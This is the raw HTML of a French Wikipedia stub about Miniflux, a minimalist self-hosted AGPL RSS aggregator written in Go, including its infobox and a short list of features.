class=\"mw-list-item\"><a href=\"/w/index.php?title=Miniflux&amp;oldid=204322562\" title=\"Adresse permanente de cette version de cette page\"><span>Lien permanent</span></a></li><li id=\"t-info\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Miniflux&amp;action=info\" title=\"Davantage d’informations sur cette page\"><span>Informations sur la page</span></a></li><li id=\"t-cite\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Sp%C3%A9cial:Citer&amp;page=Miniflux&amp;id=204322562&amp;wpFormIdentifier=titleform\" title=\"Informations sur la manière de citer cette page\"><span>Citer cette page</span></a></li><li id=\"t-urlshortener\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Sp%C3%A9cial:UrlShortener&amp;url=https%3A%2F%2Ffr.wikipedia.org%2Fwiki%2FMiniflux\"><span>Obtenir l'URL raccourcie</span></a></li><li id=\"t-urlshortener-qrcode\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Sp%C3%A9cial:QrCode&amp;url=https%3A%2F%2Ffr.wikipedia.org%2Fwiki%2FMiniflux\"><span>Télécharger le code QR</span></a></li><li id=\"t-wikibase\" class=\"mw-list-item\"><a href=\"https://www.wikidata.org/wiki/Special:EntityPage/Q16664605\" title=\"Lien vers l’élément dans le dépôt de données connecté [g]\" accesskey=\"g\"><span>Élément Wikidata</span></a></li>\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n<div id=\"p-coll-print_export\" class=\"vector-menu mw-portlet mw-portlet-coll-print_export\"  >\n\t<div class=\"vector-menu-heading\">\n\t\tImprimer / exporter\n\t</div>\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t<li id=\"coll-create_a_book\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Sp%C3%A9cial:Livre&amp;bookcmd=book_creator&amp;referer=Miniflux\"><span>Créer un livre</span></a></li><li id=\"coll-download-as-rl\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Sp%C3%A9cial:DownloadAsPdf&amp;page=Miniflux&amp;action=show-download-screen\"><span>Télécharger comme PDF</span></a></li><li id=\"t-print\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Miniflux&amp;printable=yes\" title=\"Version imprimable de cette page [p]\" accesskey=\"p\"><span>Version imprimable</span></a></li>\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n</div>\n\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\n\t</div>\n</div>\n\n\t\t\t\t\t\t\t</nav>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"vector-column-end\">\n\t\t\t\t\t<div class=\"vector-sticky-pinned-container\">\n\t\t\t\t\t\t<nav class=\"vector-page-tools-landmark\" aria-label=\"Outils de la page\">\n\t\t\t\t\t\t\t<div id=\"vector-page-tools-pinned-container\" class=\"vector-pinned-container\">\n\t\t\t\t\n\t\t\t\t\t\t\t</div>\n\t\t</nav>\n\t\t\t\t\t\t<nav class=\"vector-client-prefs-landmark\" aria-label=\"Apparence\">\n\t\t\t\t\t\t</nav>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div id=\"bodyContent\" class=\"vector-body\" aria-labelledby=\"firstHeading\" data-mw-ve-target-container>\n\t\t\t\t\t<div class=\"vector-body-before-content\">\n\t\t\t\t\t\t\t<div class=\"mw-indicators\">\n\t\t</div>\n\n\t\t\t\t\t\t<div id=\"siteSub\" class=\"noprint\">Un article de Wikipédia, l&#039;encyclopédie libre.</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id=\"contentSub\"><div id=\"mw-content-subtitle\"></div></div>\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t<div id=\"mw-content-text\" class=\"mw-body-content\"><div class=\"mw-content-ltr mw-parser-output\" lang=\"fr\" dir=\"ltr\"><div class=\"bandeau-container metadata bandeau-article bandeau-niveau-ebauche\"><div class=\"bandeau-cell bandeau-icone\" style=\"display:table-cell;padding-right:0.5em\"><span class=\"noviewer\" typeof=\"mw:File\"><a href=\"/wiki/Fichier:Circle-icons-email.svg\" class=\"mw-file-description\"><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/d/d0/Circle-icons-email.svg/35px-Circle-icons-email.svg.png\" decoding=\"async\" width=\"35\" height=\"35\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/d/d0/Circle-icons-email.svg/53px-Circle-icons-email.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/d/d0/Circle-icons-email.svg/70px-Circle-icons-email.svg.png 2x\" data-file-width=\"512\" data-file-height=\"512\" /></a></span></div><div class=\"bandeau-cell\" style=\"display:table-cell;padding-right:0.5em\">\n<p><strong class=\"bandeau-titre\">Cet article est une <a href=\"/wiki/Aide:%C3%89bauche\" title=\"Aide:Ébauche\">ébauche</a> concernant <a href=\"/wiki/Internet\" title=\"Internet\">Internet</a>.</strong>\n</p><p>Vous pouvez partager vos connaissances en l’améliorant (<b><a href=\"/wiki/Aide:Comment_modifier_une_page\" title=\"Aide:Comment modifier une page\">comment&#160;?</a></b>) selon les recommandations des <a href=\"/wiki/Projet:Accueil\" title=\"Projet:Accueil\">projets correspondants</a>.\n</p>\n</div></div>\n<div class=\"bandeau-container metadata bandeau-article bandeau-niveau-modere\"><figure class=\"mw-halign-right noviewer\" typeof=\"mw:File\"><a href=\"/wiki/Mod%C3%A8le:Sources_secondaires\" title=\"Si ce bandeau n&#39;est plus pertinent, retirez-le. Cliquez ici pour en savoir plus.\"><img alt=\"Si ce bandeau n&#39;est plus pertinent, retirez-le. Cliquez ici pour en savoir plus.\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/3/38/Info_Simple.svg/12px-Info_Simple.svg.png\" decoding=\"async\" width=\"12\" height=\"12\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/3/38/Info_Simple.svg/18px-Info_Simple.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/3/38/Info_Simple.svg/24px-Info_Simple.svg.png 2x\" data-file-width=\"512\" data-file-height=\"512\" /></a><figcaption>Si ce bandeau n'est plus pertinent, retirez-le. Cliquez ici pour en savoir plus.</figcaption></figure><div class=\"bandeau-cell bandeau-icone\" style=\"display:table-cell;padding-right:0.5em\"><span class=\"noviewer\" typeof=\"mw:File\"><a href=\"/wiki/Fichier:2017-fr.wp-orange-source.svg\" class=\"mw-file-description\"><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/a/a1/2017-fr.wp-orange-source.svg/45px-2017-fr.wp-orange-source.svg.png\" decoding=\"async\" width=\"45\" height=\"45\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/a/a1/2017-fr.wp-orange-source.svg/68px-2017-fr.wp-orange-source.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/a/a1/2017-fr.wp-orange-source.svg/90px-2017-fr.wp-orange-source.svg.png 2x\" data-file-width=\"512\" data-file-height=\"512\" /></a></span></div><div class=\"bandeau-cell\" style=\"display:table-cell;padding-right:0.5em\">\n<p><strong class=\"bandeau-titre\">Cet article ne s'appuie pas, ou pas assez, sur des sources <a href=\"/wiki/Wikip%C3%A9dia:Sources_primaires,_secondaires_et_tertiaires\" title=\"Wikipédia:Sources primaires, secondaires et tertiaires\">secondaires ou tertiaires</a></strong> <small>(<time class=\"nowrap\" datetime=\"2014-03\" data-sort-value=\"2014-03\">mars 2014</time>).</small>\n</p><p>Pour améliorer la <a href=\"/wiki/Wikip%C3%A9dia:V%C3%A9rifiabilit%C3%A9\" title=\"Wikipédia:Vérifiabilité\">vérifiabilité</a> de l'article ainsi que <a href=\"/wiki/Wikip%C3%A9dia:Ce_que_Wikip%C3%A9dia_n%27est_pas#Un_annuaire_ou_une_base_de_données\" title=\"Wikipédia:Ce que Wikipédia n&#39;est pas\">son intérêt encyclopédique</a>, il est nécessaire, quand des <a href=\"/wiki/Wikip%C3%A9dia:Sources_primaires,_secondaires_et_tertiaires\" title=\"Wikipédia:Sources primaires, secondaires et tertiaires\">sources primaires</a> sont citées, de les associer à des analyses faites par des sources secondaires.\n</p>\n</div></div>\n<div class=\"infobox_v3 noarchive\">\n<div class=\"entete icon informatique\" style=\"color: #000000;\"><style data-mw-deduplicate=\"TemplateStyles:r188801372\">.mw-parser-output .entete.informatique{background-image:url(\"//upload.wikimedia.org/wikipedia/commons/a/ae/Picto-infoboxinfo.png\")}</style>\n<div>Miniflux</div>\n</div>\n<p class=\"mw-empty-elt\">\n\n\n</p>\n<table><caption style=\"color:#000000;\">Informations</caption>\n\n\n\n<tbody><tr>\n<th scope=\"row\"><a href=\"/wiki/D%C3%A9veloppeur\" title=\"Développeur\">Développé par</a></th>\n<td>\nFrédéric Guillot</td>\n</tr>\n\n\n\n\n\n<tr>\n<th scope=\"row\"> <a href=\"/wiki/Version_d%27un_logiciel\" title=\"Version d&#39;un logiciel\">Dernière version</a>\n </th>\n<td>\n<span class=\"wd_p348\">2.1.0 (<time class=\"nowrap\" datetime=\"2024-02-17\" data-sort-value=\"2024-02-17\">17 février 2024</time>)<sup id=\"cite_ref-wikidata-f2992d0f89b91ee9578634940004e13779ead67d_1-0\" class=\"reference\"><a href=\"#cite_note-wikidata-f2992d0f89b91ee9578634940004e13779ead67d-1\"><span class=\"cite_crochet\">[</span>1<span class=\"cite_crochet\">]</span></a></sup><span class=\"noprint wikidata-linkback\"><span class=\"mw-valign-baseline noviewer\" typeof=\"mw:File\"><a href=\"https://www.wikidata.org/wiki/Q16664605?uselang=fr#P348\" title=\"Voir et modifier les données sur Wikidata\"><img alt=\"Voir et modifier les données sur Wikidata\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/7/73/Blue_pencil.svg/10px-Blue_pencil.svg.png\" decoding=\"async\" width=\"10\" height=\"10\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/7/73/Blue_pencil.svg/15px-Blue_pencil.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/7/73/Blue_pencil.svg/20px-Blue_pencil.svg.png 2x\" data-file-width=\"600\" data-file-height=\"600\" /></a></span></span></span></td>\n</tr>\n\n\n\n<tr>\n<th scope=\"row\"><a href=\"/wiki/D%C3%A9p%C3%B4t_(informatique)\" title=\"Dépôt (informatique)\">Dépôt</a></th>\n<td>\n<span class=\"wd_p1324\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/miniflux/miniflux\">github.com/miniflux/miniflux</a><span class=\"noprint wikidata-linkback\"><span class=\"mw-valign-baseline noviewer\" typeof=\"mw:File\"><a href=\"https://www.wikidata.org/wiki/Q16664605?uselang=fr#P1324\" title=\"Voir et modifier les données sur Wikidata\"><img alt=\"Voir et modifier les données sur Wikidata\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/7/73/Blue_pencil.svg/10px-Blue_pencil.svg.png\" decoding=\"async\" width=\"10\" height=\"10\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/7/73/Blue_pencil.svg/15px-Blue_pencil.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/7/73/Blue_pencil.svg/20px-Blue_pencil.svg.png 2x\" data-file-width=\"600\" data-file-height=\"600\" /></a></span></span></span></td>\n</tr>\n\n\n\n\n\n<tr>\n<th scope=\"row\"> <a href=\"/wiki/Langage_de_programmation\" title=\"Langage de programmation\">Écrit en</a>\n </th>\n<td>\n<span class=\"wd_p277\"><a href=\"/wiki/Go_(langage)\" title=\"Go (langage)\">Go</a><span class=\"noprint wikidata-linkback\"><span class=\"mw-valign-baseline noviewer\" typeof=\"mw:File\"><a href=\"https://www.wikidata.org/wiki/Q16664605?uselang=fr#P277\" title=\"Voir et modifier les données sur Wikidata\"><img alt=\"Voir et modifier les données sur Wikidata\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/7/73/Blue_pencil.svg/10px-Blue_pencil.svg.png\" decoding=\"async\" width=\"10\" height=\"10\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/7/73/Blue_pencil.svg/15px-Blue_pencil.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/7/73/Blue_pencil.svg/20px-Blue_pencil.svg.png 2x\" data-file-width=\"600\" data-file-height=\"600\" /></a></span></span></span></td>\n</tr>\n\n\n\n\n\n\n\n<tr>\n<th scope=\"row\"><a href=\"/wiki/Plate-forme_(informatique)\" title=\"Plate-forme (informatique)\">Environnement</a></th>\n<td>\n<a href=\"/wiki/Logiciel_multiplate-forme\" class=\"mw-redirect\" title=\"Logiciel multiplate-forme\">multiplateforme</a></td>\n</tr>\n\n\n\n\n\n\n\n<tr>\n<th scope=\"row\"><a href=\"/wiki/Internationalisation_(informatique)\" title=\"Internationalisation (informatique)\">Langues</a></th>\n<td>\n<a href=\"/wiki/Multilingue\" class=\"mw-redirect\" title=\"Multilingue\">Multilingue</a></td>\n</tr>\n\n<tr>\n<th scope=\"row\"> Type\n </th>\n<td>\n<a href=\"/wiki/RSS\" title=\"RSS\">agrégateur de RSS</a></td>\n</tr>\n\n\n\n<tr>\n<th scope=\"row\"><a href=\"/wiki/Licence_de_logiciel\" title=\"Licence de logiciel\">Licence</a></th>\n<td>\n<a href=\"/wiki/AGPL\" class=\"mw-redirect\" title=\"AGPL\">Licence AGPL</a></td>\n</tr>\n\n\n\n<tr>\n<th scope=\"row\"><a href=\"/wiki/Site_web\" title=\"Site web\">Site web</a></th>\n<td>\n<a rel=\"nofollow\" class=\"external text\" href=\"http://miniflux.net/\">miniflux.net</a></td>\n</tr>\n\n</tbody></table>\n<p class=\"mw-empty-elt\">\n\n</p>\n<p class=\"navbar bordered noprint\" style=\"\"><span class=\"plainlinks\"><a class=\"external text\" href=\"https://fr.wikipedia.org/w/index.php?title=Miniflux&amp;veaction=edit&amp;section=0\">modifier</a> - <a class=\"external text\" href=\"https://fr.wikipedia.org/w/index.php?title=Miniflux&amp;action=edit&amp;section=0\">modifier le code</a> - <a href=\"https://www.wikidata.org/wiki/Special:ItemByTitle/frwiki/Miniflux\" class=\"extiw\" title=\"d:Special:ItemByTitle/frwiki/Miniflux\">voir Wikidata</a> <a href=\"/wiki/Aide:Infobox_Wikidata\" title=\"Aide:Infobox Wikidata\">(aide)</a></span> <span typeof=\"mw:File\"><a href=\"/wiki/Mod%C3%A8le:Infobox_Logiciel\" title=\"Consultez la documentation du modèle\"><img alt=\"Consultez la documentation du modèle\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/b/b4/Gtk-dialog-info.svg/12px-Gtk-dialog-info.svg.png\" decoding=\"async\" width=\"12\" height=\"12\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/b/b4/Gtk-dialog-info.svg/18px-Gtk-dialog-info.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/b/b4/Gtk-dialog-info.svg/24px-Gtk-dialog-info.svg.png 2x\" data-file-width=\"60\" data-file-height=\"60\" /></a></span></p></div>\n<p><b>Miniflux</b> est un agrégateur de flux <a href=\"/wiki/RSS\" title=\"RSS\">RSS</a> minimaliste. C'est une <a href=\"/wiki/Application_web\" title=\"Application web\">application web</a> <a href=\"/wiki/Logiciel_libre\" title=\"Logiciel libre\">libre</a> diffusé sous licence <a href=\"/wiki/AGPL\" class=\"mw-redirect\" title=\"AGPL\">AGPL</a>.\nCe logiciel est prévu pour être <a href=\"/wiki/Auto-h%C3%A9bergement_(Internet)\" title=\"Auto-hébergement (Internet)\">auto-hébergé</a> sur son propre serveur ou sur un hébergement mutualisé.\n</p>\n<h2><span id=\"Caract.C3.A9ristiques\"></span><span class=\"mw-headline\" id=\"Caractéristiques\">Caractéristiques</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=Miniflux&amp;veaction=edit&amp;section=1\" title=\"Modifier la section : Caractéristiques\" class=\"mw-editsection-visualeditor\"><span>modifier</span></a><span class=\"mw-editsection-divider\"> | </span><a href=\"/w/index.php?title=Miniflux&amp;action=edit&amp;section=1\" title=\"Modifier le code source de la section : Caractéristiques\"><span>modifier le code</span></a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<ul><li>Mises à jour&#160;: il est possible de mettre à jour ses abonnements depuis une tâche planifiée (<a href=\"/wiki/Cron\" title=\"Cron\">cronjob</a>) ou depuis l'interface web (<a href=\"/wiki/Ajax_(informatique)\" title=\"Ajax (informatique)\">Ajax</a>). De plus, Miniflux vérifie les en-têtes <a href=\"/wiki/HTTP\" class=\"mw-redirect\" title=\"HTTP\">HTTP</a> et met à jour les flux uniquement lorsque c'est nécessaire.</li>\n<li>Réseaux sociaux&#160;: Miniflux ne s'intègre pas avec les réseaux sociaux, il n'y a donc aucune forme de partage, d'envoi par email ou encore de système de favoris.</li>\n<li>Publicité&#160;: les publicités dans les abonnements sont supprimées automatiquement ainsi que tout éventuel \"<a href=\"/wiki/Pixel_espion\" title=\"Pixel espion\">pixel espion</a>\" (image de 1px sur 1px utilisée par les outils de statistiques). De plus, les liens externes ne transmettent pas le <a href=\"/wiki/R%C3%A9f%C3%A9rent_(informatique)\" title=\"Référent (informatique)\">référent</a> (l'<a href=\"/wiki/Uniform_Resource_Locator\" title=\"Uniform Resource Locator\">adresse web</a> d'où l'utilisateur vient).</li>\n<li>Données personnelles&#160;: Miniflux est compatible avec le format <a href=\"/wiki/OPML\" class=\"mw-redirect\" title=\"OPML\">OPML</a> qui permet d'importer ou d'exporter sa liste d'abonnements.</li>\n<li>Accessibilité&#160;: une fois installé, Miniflux est accessible à la manière d'une <a href=\"/wiki/Application_web\" title=\"Application web\">application web</a> depuis n'importe quel navigateur web et ce même sur les appareils mobiles.</li>\n<li><a href=\"/wiki/Interface_de_programmation\" title=\"Interface de programmation\">Interface de programmation</a>: Le logiciel intègre une interface de programmation de sorte à voir créer des scripts afin d'automatiser certaines tâches comme la création d'un utilisateur, de récupérer des statistiques ou encore de récupérer des données concernant son flux ou ses abonnements<sup id=\"cite_ref-2\" class=\"reference\"><a href=\"#cite_note-2\"><span class=\"cite_crochet\">[</span>2<span class=\"cite_crochet\">]</span></a></sup>.</li></ul>\n<h2><span class=\"mw-headline\" id=\"Liens_externes\">Liens externes</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=Miniflux&amp;veaction=edit&amp;section=2\" title=\"Modifier la section : Liens externes\" class=\"mw-editsection-visualeditor\"><span>modifier</span></a><span class=\"mw-editsection-divider\"> | </span><a href=\"/w/index.php?title=Miniflux&amp;action=edit&amp;section=2\" title=\"Modifier le code source de la section : Liens externes\"><span>modifier le code</span></a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<ul><li><abbr class=\"abbr indicateur-langue\" title=\"Langue : anglais\">(en)</abbr> <a rel=\"nofollow\" class=\"external text\" href=\"http://miniflux.net/\">Site officiel en anglais</a></li></ul>\n<h2><span id=\"Notes_et_r.C3.A9f.C3.A9rences\"></span><span class=\"mw-headline\" id=\"Notes_et_références\">Notes et références</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=Miniflux&amp;veaction=edit&amp;section=3\" title=\"Modifier la section : Notes et références\" class=\"mw-editsection-visualeditor\"><span>modifier</span></a><span class=\"mw-editsection-divider\"> | </span><a href=\"/w/index.php?title=Miniflux&amp;action=edit&amp;section=3\" title=\"Modifier le code source de la section : Notes et références\"><span>modifier le code</span></a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<div class=\"references-small decimal\" style=\"\"><div class=\"mw-references-wrap\"><ol class=\"references\">\n<li id=\"cite_note-wikidata-f2992d0f89b91ee9578634940004e13779ead67d-1\"><span class=\"mw-cite-backlink noprint\"><a href=\"#cite_ref-wikidata-f2992d0f89b91ee9578634940004e13779ead67d_1-0\">↑</a> </span><span class=\"reference-text\"><span class=\"ouvrage\">«&#160;<a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/miniflux/v2/releases/tag/2.1.0\"><cite style=\"font-style:normal;\"><span class=\"lang-en\" lang=\"en\">Release 2.1.0</span></cite></a>&#160;», <time class=\"nowrap\" datetime=\"2024-02-17\" data-sort-value=\"2024-02-17\">17 février 2024</time> <small style=\"line-height:1em;\">(consulté le <time class=\"nowrap\" datetime=\"2024-02-20\" data-sort-value=\"2024-02-20\">20 février 2024</time>)</small></span></span>\n</li>\n<li id=\"cite_note-2\"><span class=\"mw-cite-backlink noprint\"><a href=\"#cite_ref-2\">↑</a> </span><span class=\"reference-text\"><span class=\"ouvrage\">«&#160;<a rel=\"nofollow\" class=\"external text\" href=\"https://miniflux.app/docs/api.html\"><cite style=\"font-style:normal;\">API Reference - Documentation</cite></a>&#160;», sur <span class=\"italique\">miniflux.app</span> <small style=\"line-height:1em;\">(consulté le <time class=\"nowrap\" datetime=\"2020-06-26\" data-sort-value=\"2020-06-26\">26 juin 2020</time>)</small></span></span>\n</li>\n</ol></div>\n</div>\n<div class=\"navbox-container\" style=\"clear:both;\">\n<table class=\"navbox collapsible noprint autocollapse\" style=\"\">\n<tbody><tr><th class=\"navbox-title\" colspan=\"3\" style=\"\"><div style=\"float:left; width:6em; text-align:left\"><div class=\"noprint plainlinks nowrap tnavbar\" style=\"background-color:transparent; padding:0; font-size:xx-small; color:#000000;\"><a href=\"/wiki/Mod%C3%A8le:Palette_Agr%C3%A9gateurs\" title=\"Modèle:Palette Agrégateurs\"><abbr class=\"abbr\" title=\"Voir ce modèle.\">v</abbr></a>&#160;· <a class=\"external text\" href=\"https://fr.wikipedia.org/w/index.php?title=Mod%C3%A8le:Palette_Agr%C3%A9gateurs&amp;action=edit\"><abbr class=\"abbr\" title=\"Modifier ce modèle. Merci de prévisualiser avant de sauvegarder.\">m</abbr></a></div></div><div style=\"font-size:110%\"><a href=\"/wiki/Agr%C3%A9gateur\" title=\"Agrégateur\">Agrégateurs</a></div></th>\n</tr>  <tr>\n<th class=\"navbox-group\" style=\"\"><a href=\"/wiki/Client_lourd\" title=\"Client lourd\">Clients de bureau</a></th>\n<td class=\"navbox-list\" style=\"\"><table class=\"navbox-subgroup\" style=\"\">\n<tbody><tr>\n<th class=\"navbox-group\" style=\"width:10px; white-space:nowrap;\"><a href=\"/wiki/Logiciel_libre\" title=\"Logiciel libre\">Libre</a></th>\n<td class=\"navbox-list\" style=\";background:#EDEDFF;\"><div class=\"liste-horizontale\">\n<ul><li><i><a href=\"/wiki/Akregator\" title=\"Akregator\">Akregator</a></i></li>\n<li><span class=\"description-wikidata\" title=\"&lt;span class=&quot;error&quot;&gt;identifiant wikidata inconnu&lt;/span&gt;\"><a href=\"/w/index.php?title=%27%27FeedReader%27%27&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"&#39;&#39;FeedReader&#39;&#39; (page inexistante)\"><i>FeedReader</i></a> <a href=\"https://www.wikidata.org/wiki/Q50836189\" class=\"extiw\" title=\"d:Q50836189\"><span class=\"indicateur-langue\">(<abbr class=\"abbr\" title=\"Wikidata\">d</abbr>)</span></a>&#160;<span typeof=\"mw:File\"><a href=\"//tools.wmflabs.org/reasonator/?q=Q50836189&amp;lang=fr\" title=\"Voir avec Reasonator\"><img alt=\"Voir avec Reasonator\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/b/ba/Wikidata-Reasonator_small_logo.svg/12px-Wikidata-Reasonator_small_logo.svg.png\" decoding=\"async\" width=\"12\" height=\"12\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/b/ba/Wikidata-Reasonator_small_logo.svg/18px-Wikidata-Reasonator_small_logo.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/b/ba/Wikidata-Reasonator_small_logo.svg/24px-Wikidata-Reasonator_small_logo.svg.png 2x\" data-file-width=\"500\" data-file-height=\"500\" /></a></span></span></li>\n<li><i><a href=\"/wiki/Liferea\" title=\"Liferea\">Liferea</a></i></li>\n<li><i><a href=\"/wiki/Mozilla_Thunderbird\" title=\"Mozilla Thunderbird\">Mozilla Thunderbird</a></i></li>\n<li><i>QuiteRSS</i></li>\n<li><i><a href=\"/wiki/GNOME_Web\" title=\"GNOME Web\">Web</a></i></li>\n<li><i><a href=\"/wiki/QBittorrent\" title=\"QBittorrent\">QBittorrent</a></i></li>\n<li><i>RSSOwl</i></li>\n<li><i><a href=\"/wiki/Zimbra\" title=\"Zimbra\">Zimbra</a></i></li></ul>\n</div></td>\n</tr> <tr>\n<th class=\"navbox-group\" style=\"width:10px; white-space:nowrap;\"><a href=\"/wiki/Logiciel_propri%C3%A9taire\" title=\"Logiciel propriétaire\">Propriétaire</a></th>\n<td class=\"navbox-list navbox-even\" style=\";\"><div class=\"liste-horizontale\">\n<ul><li><i><a href=\"/wiki/Microsoft_Outlook\" title=\"Microsoft Outlook\">Microsoft Outlook</a></i></li></ul>\n</div></td>\n</tr>                            \n\n</tbody></table></td>\n<td class=\"navbox-image\" rowspan=\"2\" style=\"vertical-align:middle;padding-left:7px\"><span class=\"noviewer\" typeof=\"mw:File\"><a href=\"/wiki/Fichier:Feed-icon.svg\" class=\"mw-file-description\"><img src=\"//upload.wikimedia.org/wikipedia/commons/thumb/4/43/Feed-icon.svg/70px-Feed-icon.svg.png\" decoding=\"async\" width=\"70\" height=\"70\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/4/43/Feed-icon.svg/105px-Feed-icon.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/4/43/Feed-icon.svg/140px-Feed-icon.svg.png 2x\" data-file-width=\"128\" data-file-height=\"128\" /></a></span></td>\n</tr> <tr>\n<th class=\"navbox-group\" style=\"\">Basés sur le <a href=\"/wiki/Web\" class=\"mw-redirect\" title=\"Web\">web</a></th>\n<td class=\"navbox-list navbox-even\" style=\"\"><table class=\"navbox-subgroup\" style=\"\">\n<tbody><tr>\n<th class=\"navbox-group\" style=\"width:10px; white-space:nowrap;\"><a href=\"/wiki/Logiciel_libre\" title=\"Logiciel libre\">Libre</a></th>\n<td class=\"navbox-list\" style=\";background:#EDEDFF;\"><div class=\"liste-horizontale\">\n<ul><li><i><a href=\"/w/index.php?title=Feedbin&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Feedbin (page inexistante)\">Feedbin</a>&#160;<a href=\"https://en.wikipedia.org/wiki/Feedbin\" class=\"extiw\" title=\"en:Feedbin\"><span class=\"indicateur-langue\" title=\"Article en anglais&#160;: «&#160;Feedbin&#160;»\">(en)</span></a></i></li>\n<li><i><a href=\"/wiki/FreshRSS\" title=\"FreshRSS\">FreshRSS</a></i></li>\n<li><i><a href=\"/wiki/KrISS-feed\" title=\"KrISS-feed\">KrISS-feed</a></i></li>\n<li><i>Leed</i></li>\n<li><i>Selfoss</i></li>\n<li><i><a href=\"/wiki/NewsBlur\" title=\"NewsBlur\">NewsBlur</a></i></li>\n<li><i>Cartulary</i></li>\n<li><i><a class=\"mw-selflink selflink\">Miniflux</a></i></li>\n<li><i><a href=\"/wiki/Tiny_Tiny_RSS\" title=\"Tiny Tiny RSS\">Tiny Tiny RSS</a></i></li></ul>\n</div></td>\n</tr> <tr>\n<th class=\"navbox-group\" style=\"width:10px; white-space:nowrap;\"><a href=\"/wiki/Logiciel_propri%C3%A9taire\" title=\"Logiciel propriétaire\">Propriétaire</a></th>\n<td class=\"navbox-list navbox-even\" style=\";\"><div class=\"liste-horizontale\">\n<ul><li><i><a href=\"/wiki/Feedly\" title=\"Feedly\">Feedly</a></i></li>\n<li><i><a href=\"/wiki/Inoreader\" title=\"Inoreader\">Inoreader</a></i></li>\n<li><i><a href=\"/wiki/Netvibes\" title=\"Netvibes\">Netvibes</a></i></li></ul>\n</div></td>\n</tr>                            \n\n</tbody></table></td>\n</tr>                             </tbody></table>\n</div><p>,\n</p><ul id=\"bandeau-portail\" class=\"bandeau-portail\"><li><span class=\"bandeau-portail-element\"><span class=\"bandeau-portail-icone\"><span class=\"noviewer\" typeof=\"mw:File\"><a href=\"/wiki/Portail:Logiciels_libres\" title=\"Portail des logiciels libres\"><img alt=\"icône décorative\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/2/22/Heckert_GNU_white.svg/25px-Heckert_GNU_white.svg.png\" decoding=\"async\" width=\"25\" height=\"24\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/2/22/Heckert_GNU_white.svg/37px-Heckert_GNU_white.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/2/22/Heckert_GNU_white.svg/49px-Heckert_GNU_white.svg.png 2x\" data-file-width=\"535\" data-file-height=\"523\" /></a></span></span> <span class=\"bandeau-portail-texte\"><a href=\"/wiki/Portail:Logiciels_libres\" title=\"Portail:Logiciels libres\">Portail des logiciels libres</a></span> </span></li>                    </ul>\n<!-- \nNewPP limit report\nParsed by mw‐web.eqiad.canary‐7c9994f4f8‐6g6bc\nCached time: 20240304111906\nCache expiry: 2592000\nReduced expiry: false\nComplications: []\nCPU time usage: 0.369 seconds\nReal time usage: 0.494 seconds\nPreprocessor visited node count: 3432/1000000\nPost‐expand include size: 58705/2097152 bytes\nTemplate argument size: 16628/2097152 bytes\nHighest expansion depth: 21/100\nExpensive parser function count: 6/500\nUnstrip recursion depth: 0/20\nUnstrip post‐expand size: 2070/5000000 bytes\nLua time usage: 0.226/10.000 seconds\nLua memory usage: 10407160/52428800 bytes\nNumber of Wikibase entities loaded: 1/400\n-->\n<!--\nTransclusion expansion time report (%,ms,calls,template)\n100.00%  449.099      1 -total\n 52.56%  